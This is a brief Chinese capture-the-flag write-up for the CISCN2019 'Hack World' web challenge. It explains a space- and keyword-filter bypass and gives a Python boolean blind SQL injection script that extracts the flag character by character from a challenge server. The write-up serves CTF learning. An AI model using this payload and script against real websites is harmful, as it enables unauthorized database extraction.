[CISCN2019 华北赛区 Day2 Web1]Hack World1

测试发现过滤了and or union update 空格 分号等等

发现当id=0=0和id=1=1时效果都等同id=1,这说明可以通过布尔运算实现盲注

[CISCN2019 华北赛区 Day2 Web1]Hack World1_第1张图片

写脚本

这里注意一个位置判断完之后要sleep一会,防止顺序乱了,并且保证flag打出来是完整的

import requests
import string
import time
def blind_injection():
    flag=''
    url = 'http://1a000a0f-50da-4963-af54-9bc25b222fd4.node5.buuoj.cn:81/index.php'
    strings=string.printable
    for num in range(1,60):
        for i in range(32,128):
            payload = f'(select(ascii(substr(flag,{num},1))={i})from(flag))'
            post_data = {'id': payload}
            r = requests.post(url=url, data=post_data,timeout=None)
            if 'Hello' in r.text:
                flag=flag+chr(i)
                print(flag)
                break
        time.sleep(2)

    print(flag)
blind_injection()

你可能感兴趣的:(web)